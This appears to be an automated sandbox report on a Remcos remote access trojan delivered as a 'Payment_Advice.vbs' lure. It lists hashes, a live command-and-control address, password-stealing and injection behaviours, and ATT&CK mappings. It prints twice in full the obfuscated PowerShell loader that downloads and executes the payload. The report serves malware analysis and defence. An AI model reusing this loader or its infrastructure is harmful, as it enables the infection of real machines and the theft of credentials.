remcos | 38594d87aaa89b2f7d7d6c9bb666bb6da8e7657d5d810c53d4ec4c37ca8e0e20

Analysis

max time kernel
298s
max time network
296s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 07:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Payment_Advice.vbs
Size

13KB
MD5

ad56c3f3ce8f6dca80b316067593e043
SHA1

12f6b1219e73b84f0fc1e0c27f056ac8b597e561
SHA256

0324a1256fbd39beb2be9e5080f4ae43fb38c921f10b1f425e4ea6c499c19d41
SHA512

5e0420f48d4d5cf1ed208b43908abe6068f231dd16e4c2920fc7ec03f0d49f1c6ae97a2564df435fee4ef564adaac1fca5790585ab389165694ea67ec73be104
SSDEEP

192:IFt1G5TbO/OFPducb5dh+CxWBWFzyVGvDFJagA6a/AldmHOpmyb3YzesvWKnvnnx:Is5TQOFPp5OEWBWFbagASdc+T3tsFvnx

Score

10^/10

remcos remotehost collection discovery rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

154.216.17.190:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-3W6OXK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1260-63-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4800-66-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/1688-64-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1260-63-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1688-64-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 6 IoCs

flow	pid	Process
12	3688	powershell.exe
49	3988	msiexec.exe
51	3988	msiexec.exe
53	3988	msiexec.exe
55	3988	msiexec.exe
56	3988	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	WScript.exe

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
3688	powershell.exe
1920	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3988	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1920	powershell.exe
3988	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3988 set thread context of 1688	3988	msiexec.exe	96
PID 3988 set thread context of 1260	3988	msiexec.exe	97
PID 3988 set thread context of 4800	3988	msiexec.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3688	powershell.exe
3688	powershell.exe
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
1688	msiexec.exe
1688	msiexec.exe
4800	msiexec.exe
4800	msiexec.exe
1688	msiexec.exe
1688	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
1920	powershell.exe
3988	msiexec.exe
3988	msiexec.exe
3988	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	4800	msiexec.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3092 wrote to memory of 3688	3092	WScript.exe	83
PID 3092 wrote to memory of 3688	3092	WScript.exe	83
PID 1920 wrote to memory of 3988	1920	powershell.exe	95
PID 1920 wrote to memory of 3988	1920	powershell.exe	95
PID 1920 wrote to memory of 3988	1920	powershell.exe	95
PID 1920 wrote to memory of 3988	1920	powershell.exe	95
PID 3988 wrote to memory of 1688	3988	msiexec.exe	96
PID 3988 wrote to memory of 1688	3988	msiexec.exe	96
PID 3988 wrote to memory of 1688	3988	msiexec.exe	96
PID 3988 wrote to memory of 1688	3988	msiexec.exe	96
PID 3988 wrote to memory of 1260	3988	msiexec.exe	97
PID 3988 wrote to memory of 1260	3988	msiexec.exe	97
PID 3988 wrote to memory of 1260	3988	msiexec.exe	97
PID 3988 wrote to memory of 1260	3988	msiexec.exe	97
PID 3988 wrote to memory of 4800	3988	msiexec.exe	98
PID 3988 wrote to memory of 4800	3988	msiexec.exe	98
PID 3988 wrote to memory of 4800	3988	msiexec.exe	98
PID 3988 wrote to memory of 4800	3988	msiexec.exe	98

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Advice.vbs"
1⤵
- Checks computer location settings
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Dramaturgiens='Kapur';;$Romancealist='Lokalkolorit';;$Enkindler='Ingenerative';;$Kickas='Vandskadens';;$Kuperer=$host.Name;function Whiff($Rdsomme){If ($Kuperer) {$Gocart=3} for ($Havnepladsen226=$Gocart;;$Havnepladsen226+=4){if(!$Rdsomme[$Havnepladsen226]){cls;break }$computerberegninger+=$Rdsomme[$Havnepladsen226];$sorbol='sufferableness'}$computerberegninger}function Preembody($Beguilements){ .($Bimpels) ($Beguilements)}$Bruseniches=Whiff ' W n OuesmatRec.Kr,w';$Bruseniches+=Whiff 'Li,ED,lbi tC LoLfjoIRygEH tNKo t';$samstillingen=Whiff '.icMTeloBr.zM ciP,rlsiklB sa B /';$Bundprops=Whiff '.reTKvalAf,sF.r1Ru 2';$Ultrafastidious='How[ grnLo.ECustHe..Tops.steKu RudsvEn,IUddc.oreForPUndoshaistun,uatOrtmsveAsynn ekABlogAu,eMonrMid]Reh:All:L.psJuvE,eccFelUPreR IrIskrtsemY rpPrvR afo .oTVero rcstroRepl,es=The$sacb ouLa N Pod PrPErhRTroOLimpHers';$samstillingen+=Whiff 'Hit5 ch.R c0Dep Eks(surW ,niBorn phdRo oUdlwNicsum MuNAlkTska sph1 .l0ste.A.p0Po ;Aut oWDoli lan sh6Fol4.ve;Org VesxDe,6 K.4 tz; me anrMaavUfo:Bru1Cad3Rge1alt.Mer0Mar)sol epGJosePencRedk JeoTri/ No2B.d0Pos1 Tr0unc0 in1Lau0Kal1dek PoFRekiTrorGenebr.fNikoFilxDu,/ In1 ed3Res1ska..il0';$Majors=Whiff 'FusuO esRa,esver fr-T lAI yGAn.e annRadT';$Branchicolous=Whiff 'EnthInct s tFlapHklsHau:Be / Ba/UnihH lsRec2Quiv k.Grai UncCoeuInt/spifKapBMaenvagz onyForJ loIEncq Pe/immTWarrGolvPe,lTeje .lk Krrs roEftnBoneLovrsgnsBed.Phemsymsscoi';$unbelligerent=Whiff 'Dis>';$Bimpels=Whiff 'BarI,epe lax';$Dkstj='sygehusudvalg';$Whitefishes='\Lochioschesis.Ros';Preembody (Whiff 'B.g$VapGF.rLBesoObsBt.tAO,elstv:fjosIgacFooh PeROmgaEnvTAli6Udt6Ba.=Con$HyoEPopNT mvMea:DebaAndpHempPa DTylA Opt rmAZec+ uk$R,swAppHTuciOu T,asEschF inistosRenHMareP.rs');Preembody (Whiff 's i$MyrGst.LAlcoTreB DrAD glBe : acmteka D RExuM poP ur,ijeProRKi.Espe=Thr$Embb her feANekNAbac MahMilIsupcKrfoFisLRa.OsupUNons Th.PresVarPArbl unIUdltsol(Reg$DatUCy,nadrB seEKenLLaulDiaiFejg s.eBerRsk,EGr NRadT Un)');Preembody (Whiff $Ultrafastidious);$Branchicolous=$Marmorere[0];$Unappliableness=(Whiff 'Okk$heaG sjlrado seB Rea RulAna: Bis FoK ExUCo mEscMBi eDo N PrdTimeXylss.c= R nLa eKolWMyc-A,tOA.ubI aj riE VecCirTCal Gos .aYwaks P tCheEsmrmMel.su,$jamb kRInsuKons foE Gen efIPerCExtHWage Pas');Preembody ($Unappliableness);Preembody (Whiff 'Aft$Gr sserkHy u omAfsmPoseO,sn G dVree nds Vi.FisH,dvesi.a Pod bae perT ussa [ Or$UnsMsm,aV,tjKa oBatr A sstr]Fat=ste$ sqsCraa ulm yrsVibtPuli,ivl D lGtei HynGe gm ne spn');$Fangnes=Whiff 'Nat$Fors,dmkPriuFalmFelm aceTvinMardP.eeDa sVot.C rDAmoo suwRegnBetlOpho PsaU rd dFpreiTynlGgleDop(Fla$ B BE.sr AfaafvnCalcKonhBaji LocGerohallE roN.iu,ors I ,Gar$Oecs agrsirtUnsrI,tyDoikPr kIaceBesnchae ops.yn)';$srtrykkenes=$schrat66;Preembody (Whiff ' H $lenGC.il A,o .oB LeAFeelTr :Intu s nsolF too MeNsteDM cLsole dtDmou=Bes(s,etFanePrissomtBra-YoupAffAEtftH lHL t sl.$synsNebREmdTA gr omysymKM.dKP eeF dnsomEspasChl)');while (!$unfondled) {Preembody (Whiff 'Til$T eg .elPasoUnbbVena Trluov:ArbE axFaccUdsi K tkonaAdsnMe tsut=Bo $balPPaia NulUn.a tatBleaB gbD.oi MilAppi fhtLavy') ;Preembody $Fangnes;Preembody (Whiff ' LosCenT,jlaEg,rRetT Mi-BedsLasl.raE,poegaup Ma sa4');Preembody (Whiff 'L,t$ A,GPallM nORekB Caa Melst,:BilU maNVaaFUraoHelN,andBellE ee.asDCla=Ice(RidT R eskosMertK.n-help seA saTVr.H .m Th$Airs UnRFortDekr.omyAktkLa kOmseCr n lEBessP n)') ;Preembody (Whiff ' U,$AttGFalLFeiO MibEthaElelvio:BlkRO,eeD,pG saePril MaLLa sjar= or$Gymg,anLGeoOPldB AnAKrylTr : aEKnoRCamy ros Pri ep KlhanaARu cFreEAtoAT,leCon+Rea+Bor%Fo $HisMJenaEr RH.vm okoIndR smE.elRBr.E Ma.O fc ako MeUcennFlst') ;$Branchicolous=$Marmorere[$Regells]}$Husenes=283781;$Ugepressen202=27959;Preembody (Whiff ' A,$spegR dls,ioKonb kyaL el K :Fa J alaIndCHeaqzigUAgtaD,mrY,rd PeVVitv.xuE hot.ne byp= br DanGsk.e NuTCod- OrcA oolooNTarT F.E otN,hatC i Rot$BlosKatRLetTHydRNebYVanKDiaKstaeCliN reAars');Preembody (Whiff 'Non$Li g .il aoIn,bAc.aNonlBr.:FinM Aua OvsCerkTeki udn Grf gaeLigj til fdeJeen.mes Bl Lu=R t Moo[UansactyDjvs RatD se L mKry. soCRelo Oln .avRa eMulr UmtBun] Bi:Ros:CanFMetrNoroV nmTenBom aTarsBouesur6spo4 Prs utsamrFejiMednProgper( ec$C nJ iasamcM dqF.guPlaa snrHuldOblv sav aeUnit s )');Preembody (Whiff ' Te$Acog orLJa.OResB,kaa ,plAka:TursEnecTilHFlueWilR stzBaioAn eUncNsnisAl Afr=For Cat[ DesKonYKors FotF,rEUpaM em.,utt beENeuXBelTPo . .iE P NLibcImpOErgd iri ,pnH zGApp]Fer:Car:hibAPaas erCPari UnIPou. seG,inEBygta isParTdiaRspoiPinn Udg Fo(app$UnsM Moa HisRosK Tri Frn eF A E upJAnalLugE tnZonsTer)');Preembody (Whiff 'Reg$smagAntLEgeoM sb raaApeL ce: orsE sA,unN.ordan,KJa.a ,bGA vesok= s.$J ws rc .ah s eLavRRocz HoOR.teBusno esH,g.Anas ulusu,B sus rntU.dR FoiDannCorgstr(Con$sopHKunu sys BrEEntN .iE otsGar, Rt$,ndU UdgspueB iPstiRR eEeles sasgl.EIchNE.a2Con0 s 2 a)');Preembody $sandkage;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3688

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Dramaturgiens='Kapur';;$Romancealist='Lokalkolorit';;$Enkindler='Ingenerative';;$Kickas='Vandskadens';;$Kuperer=$host.Name;function Whiff($Rdsomme){If ($Kuperer) {$Gocart=3} for ($Havnepladsen226=$Gocart;;$Havnepladsen226+=4){if(!$Rdsomme[$Havnepladsen226]){cls;break }$computerberegninger+=$Rdsomme[$Havnepladsen226];$sorbol='sufferableness'}$computerberegninger}function Preembody($Beguilements){ .($Bimpels) ($Beguilements)}$Bruseniches=Whiff ' W n OuesmatRec.Kr,w';$Bruseniches+=Whiff 'Li,ED,lbi tC LoLfjoIRygEH tNKo t';$samstillingen=Whiff '.icMTeloBr.zM ciP,rlsiklB sa B /';$Bundprops=Whiff '.reTKvalAf,sF.r1Ru 2';$Ultrafastidious='How[ grnLo.ECustHe..Tops.steKu RudsvEn,IUddc.oreForPUndoshaistun,uatOrtmsveAsynn ekABlogAu,eMonrMid]Reh:All:L.psJuvE,eccFelUPreR IrIskrtsemY rpPrvR afo .oTVero rcstroRepl,es=The$sacb ouLa N Pod PrPErhRTroOLimpHers';$samstillingen+=Whiff 'Hit5 ch.R c0Dep Eks(surW ,niBorn phdRo oUdlwNicsum MuNAlkTska sph1 .l0ste.A.p0Po ;Aut oWDoli lan sh6Fol4.ve;Org VesxDe,6 K.4 tz; me anrMaavUfo:Bru1Cad3Rge1alt.Mer0Mar)sol epGJosePencRedk JeoTri/ No2B.d0Pos1 Tr0unc0 in1Lau0Kal1dek PoFRekiTrorGenebr.fNikoFilxDu,/ In1 ed3Res1ska..il0';$Majors=Whiff 'FusuO esRa,esver fr-T lAI yGAn.e annRadT';$Branchicolous=Whiff 'EnthInct s tFlapHklsHau:Be / Ba/UnihH lsRec2Quiv k.Grai UncCoeuInt/spifKapBMaenvagz onyForJ loIEncq Pe/immTWarrGolvPe,lTeje .lk Krrs roEftnBoneLovrsgnsBed.Phemsymsscoi';$unbelligerent=Whiff 'Dis>';$Bimpels=Whiff 'BarI,epe lax';$Dkstj='sygehusudvalg';$Whitefishes='\Lochioschesis.Ros';Preembody (Whiff 'B.g$VapGF.rLBesoObsBt.tAO,elstv:fjosIgacFooh PeROmgaEnvTAli6Udt6Ba.=Con$HyoEPopNT mvMea:DebaAndpHempPa DTylA Opt rmAZec+ uk$R,swAppHTuciOu T,asEschF inistosRenHMareP.rs');Preembody (Whiff 's i$MyrGst.LAlcoTreB DrAD glBe : acmteka D RExuM poP ur,ijeProRKi.Espe=Thr$Embb her feANekNAbac MahMilIsupcKrfoFisLRa.OsupUNons Th.PresVarPArbl unIUdltsol(Reg$DatUCy,nadrB seEKenLLaulDiaiFejg s.eBerRsk,EGr NRadT Un)');Preembody (Whiff $Ultrafastidious);$Branchicolous=$Marmorere[0];$Unappliableness=(Whiff 'Okk$heaG sjlrado seB Rea RulAna: Bis FoK ExUCo mEscMBi eDo N PrdTimeXylss.c= R nLa eKolWMyc-A,tOA.ubI aj riE VecCirTCal Gos .aYwaks P tCheEsmrmMel.su,$jamb kRInsuKons foE Gen efIPerCExtHWage Pas');Preembody ($Unappliableness);Preembody (Whiff 'Aft$Gr sserkHy u omAfsmPoseO,sn G dVree nds Vi.FisH,dvesi.a Pod bae perT ussa [ Or$UnsMsm,aV,tjKa oBatr A sstr]Fat=ste$ sqsCraa ulm yrsVibtPuli,ivl D lGtei HynGe gm ne spn');$Fangnes=Whiff 'Nat$Fors,dmkPriuFalmFelm aceTvinMardP.eeDa sVot.C rDAmoo suwRegnBetlOpho PsaU rd dFpreiTynlGgleDop(Fla$ B BE.sr AfaafvnCalcKonhBaji LocGerohallE roN.iu,ors I ,Gar$Oecs agrsirtUnsrI,tyDoikPr kIaceBesnchae ops.yn)';$srtrykkenes=$schrat66;Preembody (Whiff ' H $lenGC.il A,o .oB LeAFeelTr :Intu s nsolF too MeNsteDM cLsole dtDmou=Bes(s,etFanePrissomtBra-YoupAffAEtftH lHL t sl.$synsNebREmdTA gr omysymKM.dKP eeF dnsomEspasChl)');while (!$unfondled) {Preembody (Whiff 'Til$T eg .elPasoUnbbVena Trluov:ArbE axFaccUdsi K tkonaAdsnMe tsut=Bo $balPPaia NulUn.a tatBleaB gbD.oi MilAppi fhtLavy') ;Preembody $Fangnes;Preembody (Whiff ' LosCenT,jlaEg,rRetT Mi-BedsLasl.raE,poegaup Ma sa4');Preembody (Whiff 'L,t$ A,GPallM nORekB Caa Melst,:BilU maNVaaFUraoHelN,andBellE ee.asDCla=Ice(RidT R eskosMertK.n-help seA saTVr.H .m Th$Airs UnRFortDekr.omyAktkLa kOmseCr n lEBessP n)') ;Preembody (Whiff ' U,$AttGFalLFeiO MibEthaElelvio:BlkRO,eeD,pG saePril MaLLa sjar= or$Gymg,anLGeoOPldB AnAKrylTr : aEKnoRCamy ros Pri ep KlhanaARu cFreEAtoAT,leCon+Rea+Bor%Fo $HisMJenaEr RH.vm okoIndR smE.elRBr.E Ma.O fc ako MeUcennFlst') ;$Branchicolous=$Marmorere[$Regells]}$Husenes=283781;$Ugepressen202=27959;Preembody (Whiff ' A,$spegR dls,ioKonb kyaL el K :Fa J alaIndCHeaqzigUAgtaD,mrY,rd PeVVitv.xuE hot.ne byp= br DanGsk.e NuTCod- OrcA oolooNTarT F.E otN,hatC i Rot$BlosKatRLetTHydRNebYVanKDiaKstaeCliN reAars');Preembody (Whiff 'Non$Li g .il aoIn,bAc.aNonlBr.:FinM Aua OvsCerkTeki udn Grf gaeLigj til fdeJeen.mes Bl Lu=R t Moo[UansactyDjvs RatD se L mKry. soCRelo Oln .avRa eMulr UmtBun] Bi:Ros:CanFMetrNoroV nmTenBom aTarsBouesur6spo4 Prs utsamrFejiMednProgper( ec$C nJ iasamcM dqF.guPlaa snrHuldOblv sav aeUnit s )');Preembody (Whiff ' Te$Acog orLJa.OResB,kaa ,plAka:TursEnecTilHFlueWilR stzBaioAn eUncNsnisAl Afr=For Cat[ DesKonYKors FotF,rEUpaM em.,utt beENeuXBelTPo . .iE P NLibcImpOErgd iri ,pnH zGApp]Fer:Car:hibAPaas erCPari UnIPou. seG,inEBygta isParTdiaRspoiPinn Udg Fo(app$UnsM Moa HisRosK Tri Frn eF A E upJAnalLugE tnZonsTer)');Preembody (Whiff 'Reg$smagAntLEgeoM sb raaApeL ce: orsE sA,unN.ordan,KJa.a ,bGA vesok= s.$J ws rc .ah s eLavRRocz HoOR.teBusno esH,g.Anas ulusu,B sus rntU.dR FoiDannCorgstr(Con$sopHKunu sys BrEEntN .iE otsGar, Rt$,ndU UdgspueB iPstiRR eEeles sasgl.EIchNE.a2Con0 s 2 a)');Preembody $sandkage;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3988
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\sflnqnkkmkubpkscwjkuq"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1688
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\czqxqgveasmfrrgggufvbluj"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:1260
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mbdqryffoaekbfcsxesxdqoalawq"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xehvxmgy.qjk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\sflnqnkkmkubpkscwjkuq

Filesize
4KB

MD5
75379d3dcbcea6a69bc75b884816dd40

SHA1
7e073a03c3bdbbc60375ddbe56bba211c3d412a6

SHA256
cab559f3bbe4a0beb194dffca723b3072184b92687100462eaab04d66fff8de9

SHA512
710c2cee369a57a0039fc0d0c59de6118780210ef60ad0daf374f03ba94ab08039bc2aff821f7c99a0ecd0e16189c52e5b6d630b3d541f7b11375f134b985e8c

Download Submit
C:\Users\Admin\AppData\Roaming\Lochioschesis.Ros

Filesize
405KB

MD5
75256cb02edc22122cd7160ad5cd8384

SHA1
49819cf37b51113de6c659aae8f3d88235c77859

SHA256
ff1e2b584c0bf9961fa6f4584618b1819fd6a34a17070a9d9d8db3063395bfb7

SHA512
9639ca948d25186cabd6ee73e1df178b60c74e546e82a087c5b2947bacf6222410994e3427cf7744f897ff10c42353b6847917629d658ef388ca6a333e512461

Download Submit
memory/1260-63-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1260-59-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1260-57-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1688-62-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1688-64-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1688-60-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1688-56-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1920-23-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/1920-20-0x0000000005110000-0x0000000005738000-memory.dmp

Filesize
6.2MB

Download
memory/1920-33-0x0000000005920000-0x0000000005C74000-memory.dmp

Filesize
3.3MB

Download
memory/1920-35-0x0000000005F90000-0x0000000005FAE000-memory.dmp

Filesize
120KB

Download
memory/1920-36-0x0000000005FD0000-0x000000000601C000-memory.dmp

Filesize
304KB

Download
memory/1920-37-0x0000000007940000-0x0000000007FBA000-memory.dmp

Filesize
6.5MB

Download
memory/1920-38-0x0000000006540000-0x000000000655A000-memory.dmp

Filesize
104KB

Download
memory/1920-39-0x00000000072C0000-0x0000000007356000-memory.dmp

Filesize
600KB

Download
memory/1920-40-0x00000000071B0000-0x00000000071D2000-memory.dmp

Filesize
136KB

Download
memory/1920-41-0x0000000007FC0000-0x0000000008564000-memory.dmp

Filesize
5.6MB

Download
memory/1920-22-0x00000000057B0000-0x0000000005816000-memory.dmp

Filesize
408KB

Download
memory/1920-44-0x0000000008570000-0x000000000E021000-memory.dmp

Filesize
90.7MB

Download
memory/1920-19-0x00000000049E0000-0x0000000004A16000-memory.dmp

Filesize
216KB

Download
memory/1920-21-0x00000000050C0000-0x00000000050E2000-memory.dmp

Filesize
136KB

Download
memory/3688-18-0x00007FFEC6140000-0x00007FFEC6C01000-memory.dmp

Filesize
10.8MB

Download
memory/3688-12-0x00007FFEC6140000-0x00007FFEC6C01000-memory.dmp

Filesize
10.8MB

Download
memory/3688-1-0x00000268ED190000-0x00000268ED1B2000-memory.dmp

Filesize
136KB

Download
memory/3688-0-0x00007FFEC6143000-0x00007FFEC6145000-memory.dmp

Filesize
8KB

Download
memory/3688-15-0x00007FFEC6140000-0x00007FFEC6C01000-memory.dmp

Filesize
10.8MB

Download
memory/3688-11-0x00007FFEC6140000-0x00007FFEC6C01000-memory.dmp

Filesize
10.8MB

Download
memory/3988-80-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-76-0x0000000024360000-0x0000000024379000-memory.dmp

Filesize
100KB

Download
memory/3988-88-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-71-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-52-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-73-0x0000000024360000-0x0000000024379000-memory.dmp

Filesize
100KB

Download
memory/3988-77-0x0000000024360000-0x0000000024379000-memory.dmp

Filesize
100KB

Download
memory/3988-87-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-78-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-79-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-86-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-84-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/3988-85-0x0000000001080000-0x00000000022D4000-memory.dmp

Filesize
18.3MB

Download
memory/4800-58-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4800-65-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4800-66-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download